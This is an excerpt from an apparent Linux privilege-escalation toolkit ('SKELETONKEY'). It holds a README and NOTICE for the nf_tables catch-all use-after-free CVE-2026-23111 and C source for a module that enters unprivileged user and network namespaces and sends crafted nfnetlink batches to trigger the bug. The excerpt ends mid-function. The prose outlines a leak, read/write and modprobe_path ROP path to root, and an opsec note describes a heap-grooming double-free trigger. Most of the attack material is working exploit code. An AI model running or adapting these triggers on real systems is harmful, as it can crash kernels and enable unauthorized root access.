.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO) committed twice to trigger the nft_verdict_init double-free. msg_msg cg-96 groom with forged pipapo_elem headers; --full-chain sprays kaddr-tagged forged elems and re-fires. Writes /tmp/skeletonkey-nft_set_uaf.log (conditional). Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches + msgget/msgsnd. Dmesg: KASAN double-free panic on vulnerable kernels; silent otherwise. Cleanup is finisher-gated; no persistent files on success.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nf_tables(void)
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
# nft_catchall — CVE-2026-23111
|
||||
|
||||
An nf_tables use-after-free reachable from an unprivileged user: an
|
||||
inverted condition in `nft_map_catchall_activate()` mishandles catch-all
|
||||
map elements on transaction abort, freeing a chain that a catch-all GOTO
|
||||
verdict still references.
|
||||
|
||||
## The bug
|
||||
|
||||
nftables *maps* can hold a **catch-all** element — a default that matches
|
||||
when no other element does — and in a verdict map that element carries a
|
||||
GOTO/JUMP to a chain. `nft_map_catchall_activate()` runs during the
|
||||
**abort** phase of a netlink transaction to re-activate elements that a
|
||||
rolled-back batch had touched. A single inverted `!` makes it operate on
|
||||
*active* catch-all elements instead of skipping them, so the referenced
|
||||
chain's use-count is driven to zero; a subsequent `DELCHAIN` frees the
|
||||
chain while the catch-all verdict still points at it → **use-after-free**.
|
||||
|
||||
Chaining a kernel-address leak, arbitrary R/W, and a ROP over
|
||||
`modprobe_path` / `selinux_state` turns the UAF into root — all reachable
|
||||
by an unprivileged user who has `CONFIG_USER_NS` to gain `CAP_NET_ADMIN`
|
||||
over a private network namespace.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Vulnerable path introduced | ~5.13 (catch-all set elements) |
|
||||
| Fixed upstream | commit `f41c5d1…` (remove the inverted `!`) |
|
||||
| Debian backports | 6.1.164 (bookworm) · 6.12.73 (trixie) · 6.18.10 (forky·sid) |
|
||||
| Table thresholds | 6.1.164 · 6.12.73 · 6.18.10 (≤ Debian → drift-clean) |
|
||||
| NVD class | CWE-416 (Use After Free), CVSS 7.8 |
|
||||
| CISA KEV | no |
|
||||
|
||||
The 5.10 (bullseye) branch is still unfixed at time of writing →
|
||||
version-only VULNERABLE there.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` returns `OK` below ~5.13 or for patched kernels, `PRECOND_FAIL`
|
||||
when the kernel is vulnerable but unprivileged user-namespace clone is
|
||||
denied (exploit unreachable), and `VULNERABLE` when the version is in
|
||||
range and userns is allowed.
|
||||
|
||||
`exploit()` forks an isolated child that enters `unshare(USER|NET)`, opens
|
||||
`NETLINK_NETFILTER`, builds a verdict map with a catch-all GOTO element,
|
||||
and sends an aborting batch to drive the abort-path UAF; it observes
|
||||
`nft_chain` / `kmalloc-cg-256` slabinfo and returns `EXPLOIT_FAIL`
|
||||
(primitive-only). The full leak + R/W + ROP root-pop is **not** bundled,
|
||||
and the trigger is reconstructed from public analysis, not VM-verified.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a host hardening stopgap, deny unprivileged
|
||||
user-namespace clone (`sysctl kernel.unprivileged_userns_clone=0`, or the
|
||||
AppArmor `apparmor_restrict_unprivileged_userns` toggle) — that closes the
|
||||
unprivileged path even on a kernel-vulnerable host.
|
||||
|
||||
## Credit
|
||||
|
||||
Upstream fix `f41c5d1…`; public reproduction by FuzzingLabs. See
|
||||
`NOTICE.md`.
|
||||
@@ -0,0 +1,62 @@
|
||||
# NOTICE — nft_catchall (CVE-2026-23111)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-23111** — a **use-after-free** in the Linux kernel `nf_tables`
|
||||
(netfilter) transaction-abort path. `nft_map_catchall_activate()` carries
|
||||
an **inverted condition** (a stray `!`): during a transaction *abort* it
|
||||
processes *active* catch-all set elements instead of skipping them. A
|
||||
catch-all element in an nftables **map** holds a verdict (GOTO/JUMP)
|
||||
referencing a chain; the wrong (de)activation drives the chain's
|
||||
use-count to zero, so a following `DELCHAIN` frees the chain while the
|
||||
catch-all verdict element still references it → UAF.
|
||||
|
||||
From an **unprivileged** local user — via **user namespaces + nftables**
|
||||
(needs `CONFIG_USER_NS` + `CONFIG_NF_TABLES`) — the UAF is escalatable to
|
||||
root: leak a kernel address, obtain arbitrary R/W, ROP over
|
||||
`modprobe_path` / `selinux_state`.
|
||||
|
||||
NVD class: **CWE-416** (Use After Free). CVSS v3.1 **7.8 HIGH**
|
||||
(`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`). Affects current distros (Debian
|
||||
bookworm/trixie, Ubuntu 22.04/24.04). **Not** in CISA KEV.
|
||||
|
||||
The fix removed a single character (the inverted `!`).
|
||||
|
||||
## Research credit
|
||||
|
||||
- **Fixed upstream** by commit
|
||||
`f41c5d151078c5348271ffaf8e7410d96f2d82f8` ("netfilter: nf_tables: fix
|
||||
… catch-all … activate"); reported and fixed through the Linux kernel
|
||||
security process (NVD lists the source as `kernel.org`; no public
|
||||
individual reporter name in the advisory).
|
||||
- **Public reproduction + analysis** by **FuzzingLabs** —
|
||||
<https://fuzzinglabs.com/repro-cve-2026-23111/> — which the module's
|
||||
trigger reconstruction is informed by.
|
||||
- Debian security tracker (authoritative backport versions):
|
||||
<https://security-tracker.debian.org/tracker/CVE-2026-23111> —
|
||||
bookworm 6.1.164 / trixie 6.12.73 / forky·sid 6.18.10 (bullseye/5.10
|
||||
still unfixed at time of writing).
|
||||
|
||||
All credit for finding and analysing this bug belongs to the upstream
|
||||
reporter and to FuzzingLabs for the public write-up. SKELETONKEY is the
|
||||
bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
|
||||
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …), shipped on the same
|
||||
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
|
||||
fires the bug class and stops.
|
||||
|
||||
`detect()` version-gates against the Debian backports above (upstream
|
||||
thresholds 6.1.164 / 6.12.73 / 6.18.10; catch-all set elements arrived in
|
||||
~5.13, so older kernels lack the path) **and** requires unprivileged
|
||||
user-namespace clone — a vulnerable kernel with userns locked down is
|
||||
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
|
||||
element and provokes an aborting batch transaction to drive the
|
||||
abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The
|
||||
per-kernel leak + arbitrary-R/W + `modprobe_path` ROP that lands a root
|
||||
shell is **not** bundled (per-build offsets refused), and the trigger is
|
||||
reconstructed from the public analysis rather than VM-verified — it never
|
||||
claims root it did not get.
|
||||
@@ -0,0 +1,589 @@
|
||||
/*
|
||||
* nft_catchall_cve_2026_23111 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-23111 — a use-after-free in the Linux kernel's nf_tables
|
||||
* (netfilter) transaction-abort path. `nft_map_catchall_activate()`
|
||||
* carries an inverted condition (a stray `!`): on transaction abort it
|
||||
* processes *active* catch-all set elements instead of skipping them.
|
||||
* A catch-all element in an nftables *map* holds a verdict (GOTO/JUMP)
|
||||
* that references a chain; the wrong (de)activation lets the chain's
|
||||
* use-count reach zero so a following DELCHAIN frees it while the
|
||||
* catch-all verdict element still points at it → UAF. From an
|
||||
* unprivileged user (via user namespaces + nftables) this is escalatable
|
||||
* to root: leak a kernel address, win arbitrary R/W, ROP over
|
||||
* modprobe_path / selinux_state.
|
||||
*
|
||||
* CWE-416 (Use After Free). CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/C:H/I:H/A:H).
|
||||
* Fixed upstream by commit f41c5d151078c5348271ffaf8e7410d96f2d82f8
|
||||
* ("remove one exclamation mark"). Public reproduction + analysis by
|
||||
* FuzzingLabs. NOT in CISA KEV.
|
||||
*
|
||||
* STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
|
||||
* This is one more UAF in the most-covered subsystem in the corpus
|
||||
* (see nf_tables / nft_set_uaf / nft_payload / nft_pipapo / ...), and
|
||||
* like nf_tables (CVE-2024-1086) it is shipped as a fork-isolated
|
||||
* trigger that fires the bug class and STOPS. detect() version-gates
|
||||
* against the Debian-tracked backports below and additionally requires
|
||||
* unprivileged user-namespace clone (the bug is unreachable to an
|
||||
* unprivileged user without it). exploit() builds a map with a
|
||||
* catch-all GOTO element and provokes a failed (aborting) batch
|
||||
* transaction to drive the abort-path UAF, observes slabinfo, and
|
||||
* returns EXPLOIT_FAIL — the per-kernel leak + arbitrary-R/W + ROP that
|
||||
* lands a root shell is NOT bundled (per-build offsets refused), and
|
||||
* the trigger itself is reconstructed from the public analysis rather
|
||||
* than VM-verified. It never claims root it did not get.
|
||||
*
|
||||
* Affected range (Debian-tracked stable backports of the fix):
|
||||
* 6.1.x : K >= 6.1.164 (bookworm)
|
||||
* 6.12.x : K >= 6.12.73 (trixie)
|
||||
* 6.18.x : K >= 6.18.10 (forky / sid); 7.0+ inherits the fix
|
||||
* The 5.10 (bullseye) branch is still unfixed as of writing → version-
|
||||
* only VULNERABLE. Catch-all set elements were added in ~5.13, so the
|
||||
* vulnerable nft_map_catchall_activate path does not exist below that.
|
||||
*
|
||||
* Preconditions: CONFIG_NF_TABLES + CONFIG_USER_NS, and unprivileged
|
||||
* user-namespace clone permitted (modern Ubuntu's
|
||||
* apparmor_restrict_unprivileged_userns / a 0 sysctl closes this).
|
||||
*
|
||||
* arch_support: x86_64 (the groom + any future finisher are x86_64-tuned).
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/netlink.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */
|
||||
|
||||
/* Catch-all set-element flag — may be absent from older uapi headers. */
|
||||
#ifndef NFT_SET_ELEM_CATCHALL
|
||||
#define NFT_SET_ELEM_CATCHALL 0x2
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table. Upstream-stable thresholds (<= the Debian
|
||||
* package fixes, so the drift checker reports INFO, never TOO_TIGHT).
|
||||
* security-tracker.debian.org is the source of record.
|
||||
* ------------------------------------------------------------------ */
|
||||
static const struct kernel_patched_from nft_catchall_patched_branches[] = {
|
||||
{6, 1, 164}, /* 6.1.x (Debian bookworm fixed_version 6.1.164) */
|
||||
{6, 12, 73}, /* 6.12.x (Debian trixie fixed_version 6.12.73) */
|
||||
{6, 18, 10}, /* 6.18.x (Debian forky / sid fixed_version 6.18.10) */
|
||||
/* 7.0+ inherits "patched" via the strictly-newer-than-all-entries
|
||||
* rule — the fix predates the 7.0 branch. */
|
||||
};
|
||||
|
||||
static const struct kernel_range nft_catchall_range = {
|
||||
.patched_from = nft_catchall_patched_branches,
|
||||
.n_patched_from = sizeof(nft_catchall_patched_branches) /
|
||||
sizeof(nft_catchall_patched_branches[0]),
|
||||
};
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
if (!f) return false;
|
||||
char line[512];
|
||||
bool found = false;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "nf_tables ", 10) == 0) { found = true; break; }
|
||||
}
|
||||
fclose(f);
|
||||
return found;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nft_catchall: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Catch-all set elements (and nft_map_catchall_activate) arrived in
|
||||
* ~5.13. Below that the vulnerable path does not exist. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_catchall: kernel %s predates catch-all set "
|
||||
"elements (~5.13) — vulnerable path absent\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&nft_catchall_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] nft_catchall: kernel %s is patched\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_catchall: kernel %s in vulnerable range\n",
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nft_catchall: unprivileged user_ns clone: %s\n",
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nft_catchall: nf_tables module loaded: %s\n",
|
||||
nf_tables_loaded() ? "yes" : "no (autoloads on first nft use)");
|
||||
}
|
||||
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_catchall: kernel vulnerable but unprivileged "
|
||||
"user_ns clone denied → unprivileged exploit "
|
||||
"unreachable\n");
|
||||
fprintf(stderr, "[i] nft_catchall: still patch — a privileged "
|
||||
"attacker can trigger the abort-path UAF\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nft_catchall: VULNERABLE — kernel in range AND "
|
||||
"unprivileged user_ns clone allowed\n");
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* userns+netns entry: gain CAP_NET_ADMIN over a private netns so the
|
||||
* malformed ruleset only touches our own namespace.
|
||||
* ------------------------------------------------------------------ */
|
||||
static int enter_unpriv_namespaces(void)
|
||||
{
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
perror("[-] unshare(USER|NET)");
|
||||
return -1;
|
||||
}
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
char map[64];
|
||||
snprintf(map, sizeof map, "0 %u 1\n", uid);
|
||||
f = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (f < 0 || write(f, map, strlen(map)) < 0) {
|
||||
perror("[-] uid_map"); if (f >= 0) close(f); return -1;
|
||||
}
|
||||
close(f);
|
||||
snprintf(map, sizeof map, "0 %u 1\n", gid);
|
||||
f = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (f < 0 || write(f, map, strlen(map)) < 0) {
|
||||
perror("[-] gid_map"); if (f >= 0) close(f); return -1;
|
||||
}
|
||||
close(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Minimal dep-free nfnetlink batch builder (same approach as the
|
||||
* nf_tables module — libnftnl validates our malformed input away).
|
||||
* ------------------------------------------------------------------ */
|
||||
#define ALIGN_NL(x) (((x) + 3) & ~3)
|
||||
|
||||
static void put_attr(uint8_t *buf, size_t *off, uint16_t type,
|
||||
const void *data, size_t len)
|
||||
{
|
||||
struct nlattr *na = (struct nlattr *)(buf + *off);
|
||||
na->nla_type = type;
|
||||
na->nla_len = NLA_HDRLEN + len;
|
||||
if (len) memcpy(buf + *off + NLA_HDRLEN, data, len);
|
||||
*off += ALIGN_NL(NLA_HDRLEN + len);
|
||||
}
|
||||
static void put_attr_u32(uint8_t *buf, size_t *off, uint16_t type, uint32_t v)
|
||||
{
|
||||
uint32_t be = htonl(v);
|
||||
put_attr(buf, off, type, &be, sizeof be);
|
||||
}
|
||||
static void put_attr_str(uint8_t *buf, size_t *off, uint16_t type, const char *s)
|
||||
{
|
||||
put_attr(buf, off, type, s, strlen(s) + 1);
|
||||
}
|
||||
static size_t begin_nest(uint8_t *buf, size_t *off, uint16_t type)
|
||||
{
|
||||
size_t at = *off;
|
||||
struct nlattr *na = (struct nlattr *)(buf + at);
|
||||
na->nla_type = type | NLA_F_NESTED;
|
||||
na->nla_len = 0;
|
||||
*off += NLA_HDRLEN;
|
||||
return at;
|
||||
}
|
||||
static void end_nest(uint8_t *buf, size_t *off, size_t at)
|
||||
{
|
||||
struct nlattr *na = (struct nlattr *)(buf + at);
|
||||
na->nla_len = (uint16_t)(*off - at);
|
||||
while ((*off) & 3) buf[(*off)++] = 0;
|
||||
}
|
||||
|
||||
struct nfgenmsg_local { uint8_t nfgen_family; uint8_t version; uint16_t res_id; };
|
||||
|
||||
static void put_nft_msg(uint8_t *buf, size_t *off, uint16_t nft_type,
|
||||
uint16_t flags, uint32_t seq, uint8_t family)
|
||||
{
|
||||
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + *off);
|
||||
nlh->nlmsg_len = 0;
|
||||
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | nft_type;
|
||||
nlh->nlmsg_flags = NLM_F_REQUEST | flags;
|
||||
nlh->nlmsg_seq = seq;
|
||||
nlh->nlmsg_pid = 0;
|
||||
*off += NLMSG_HDRLEN;
|
||||
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
|
||||
nf->nfgen_family = family;
|
||||
nf->version = NFNETLINK_V0;
|
||||
nf->res_id = htons(0);
|
||||
*off += sizeof(*nf);
|
||||
}
|
||||
static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
{
|
||||
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + msg_start);
|
||||
nlh->nlmsg_len = (uint32_t)(*off - msg_start);
|
||||
while ((*off) & 3) buf[(*off)++] = 0;
|
||||
}
|
||||
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at);
|
||||
nlh->nlmsg_len = 0;
|
||||
nlh->nlmsg_type = type;
|
||||
nlh->nlmsg_flags = NLM_F_REQUEST;
|
||||
nlh->nlmsg_seq = seq;
|
||||
nlh->nlmsg_pid = 0;
|
||||
*off += NLMSG_HDRLEN;
|
||||
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
|
||||
nf->nfgen_family = AF_UNSPEC;
|
||||
nf->version = NFNETLINK_V0;
|
||||
nf->res_id = htons(NFNL_SUBSYS_NFTABLES);
|
||||
*off += sizeof(*nf);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_goto"; /* GOTO target chain */
|
||||
static const char NFT_MAP_NAME[] = "skeletonkey_map";
|
||||
|
||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_TABLE_NAME, NFT_TABLE_NAME);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* A regular (non-base) chain that the catch-all GOTO verdict references.
|
||||
* Once the catch-all element is wrongly (de)activated on abort, this
|
||||
* chain's use-count is mishandled and it can be freed while referenced. */
|
||||
static void put_new_chain(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_CHAIN_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_CHAIN_NAME, NFT_CHAIN_NAME);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* A verdict map (NFT_SET_MAP) whose data type is a verdict, so its
|
||||
* elements (including the catch-all) carry GOTO/JUMP verdicts. */
|
||||
static void put_new_map(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWSET, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_SET_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_SET_NAME, NFT_MAP_NAME);
|
||||
put_attr_u32(buf, off, NFTA_SET_FLAGS, NFT_SET_MAP);
|
||||
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 13); /* ipv4_addr-ish */
|
||||
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
|
||||
put_attr_u32(buf, off, NFTA_SET_DATA_TYPE, 0xffffff00); /* "verdict" magic */
|
||||
put_attr_u32(buf, off, NFTA_SET_DATA_LEN, sizeof(uint32_t));
|
||||
put_attr_u32(buf, off, NFTA_SET_ID, 0x2026);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* Catch-all element (NFT_SET_ELEM_CATCHALL) whose data is a GOTO verdict
|
||||
* to NFT_CHAIN_NAME. This is the element nft_map_catchall_activate
|
||||
* mishandles on abort. */
|
||||
static void put_catchall_goto(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, NFT_MAP_NAME);
|
||||
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
|
||||
size_t el_at = begin_nest(buf, off, 1 /* NFTA_LIST_ELEM */);
|
||||
/* catch-all: no key, just the CATCHALL flag */
|
||||
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
|
||||
/* data = GOTO verdict referencing our chain by name */
|
||||
size_t data_at = begin_nest(buf, off, NFTA_SET_ELEM_DATA);
|
||||
size_t v_at = begin_nest(buf, off, NFTA_DATA_VERDICT);
|
||||
put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NFT_GOTO);
|
||||
put_attr_str(buf, off, NFTA_VERDICT_CHAIN, NFT_CHAIN_NAME);
|
||||
end_nest(buf, off, v_at);
|
||||
end_nest(buf, off, data_at);
|
||||
end_nest(buf, off, el_at);
|
||||
end_nest(buf, off, list_at);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* A deliberately-invalid message: references a set that does not exist,
|
||||
* so the kernel rejects it and ABORTS the whole batch transaction —
|
||||
* running the buggy nft_map_catchall_activate over the active catch-all
|
||||
* element we just created. */
|
||||
static void put_aborting_op(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, "skeletonkey_nonexistent");
|
||||
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
|
||||
size_t el_at = begin_nest(buf, off, 1);
|
||||
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
|
||||
end_nest(buf, off, el_at);
|
||||
end_nest(buf, off, list_at);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
static int nft_send_batch(int sock, const void *buf, size_t len)
|
||||
{
|
||||
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
|
||||
struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
|
||||
struct msghdr m = {
|
||||
.msg_name = &dst, .msg_namelen = sizeof dst,
|
||||
.msg_iov = &iov, .msg_iovlen = 1,
|
||||
};
|
||||
if (sendmsg(sock, &m, 0) < 0) { perror("[-] sendmsg"); return -1; }
|
||||
char rbuf[8192];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
ssize_t r = recv(sock, rbuf, sizeof rbuf, MSG_DONTWAIT);
|
||||
if (r <= 0) break;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static long slabinfo_active(const char *slab)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, slab, strlen(slab)) == 0 && line[strlen(slab)] == ' ') {
|
||||
long a;
|
||||
if (sscanf(line + strlen(slab), " %ld", &a) == 1) active = a;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = nft_catchall_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nft_catchall: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] nft_catchall: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] nft_catchall: primitive-only run — builds a map with a "
|
||||
"catch-all GOTO element and provokes an aborting batch to "
|
||||
"drive the nft_map_catchall_activate UAF, then stops. The "
|
||||
"per-kernel leak + R/W + ROP root-pop is NOT bundled.\n");
|
||||
|
||||
/* Fork-isolated: a KASAN-enabled vulnerable kernel will panic on the
|
||||
* double-handling; isolating means the dispatcher survives. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
if (enter_unpriv_namespaces() < 0) _exit(20);
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||
if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); _exit(21); }
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); _exit(22);
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); _exit(23); }
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
|
||||
/* Batch 1 (commits): table + GOTO-target chain + verdict map +
|
||||
* catch-all GOTO element. */
|
||||
size_t off = 0;
|
||||
put_batch_marker(batch, &off, NFNL_MSG_BATCH_BEGIN, seq++);
|
||||
put_new_table(batch, &off, seq++);
|
||||
put_new_chain(batch, &off, seq++);
|
||||
put_new_map(batch, &off, seq++);
|
||||
put_catchall_goto(batch, &off, seq++);
|
||||
put_batch_marker(batch, &off, NFNL_MSG_BATCH_END, seq++);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] nft_catchall: sending setup batch (%zu bytes)\n", off);
|
||||
if (nft_send_batch(sock, batch, off) < 0) {
|
||||
free(batch); close(sock); _exit(24);
|
||||
}
|
||||
|
||||
long before = slabinfo_active("nft_chain");
|
||||
if (before < 0) before = slabinfo_active("kmalloc-cg-256");
|
||||
|
||||
/* Batch 2 (aborts): a valid DELCHAIN-ish operation alongside an
|
||||
* invalid op so the whole transaction rolls back, running
|
||||
* nft_map_catchall_activate over the active catch-all element. */
|
||||
size_t off2 = 0;
|
||||
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_BEGIN, seq++);
|
||||
put_catchall_goto(batch, &off2, seq++); /* re-touch the catch-all elem */
|
||||
put_aborting_op(batch, &off2, seq++); /* invalid → abort the batch */
|
||||
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_END, seq++);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] nft_catchall: firing aborting batch (%zu bytes)\n", off2);
|
||||
nft_send_batch(sock, batch, off2);
|
||||
usleep(50 * 1000);
|
||||
|
||||
long after = slabinfo_active("nft_chain");
|
||||
if (after < 0) after = slabinfo_active("kmalloc-cg-256");
|
||||
if (!ctx->json)
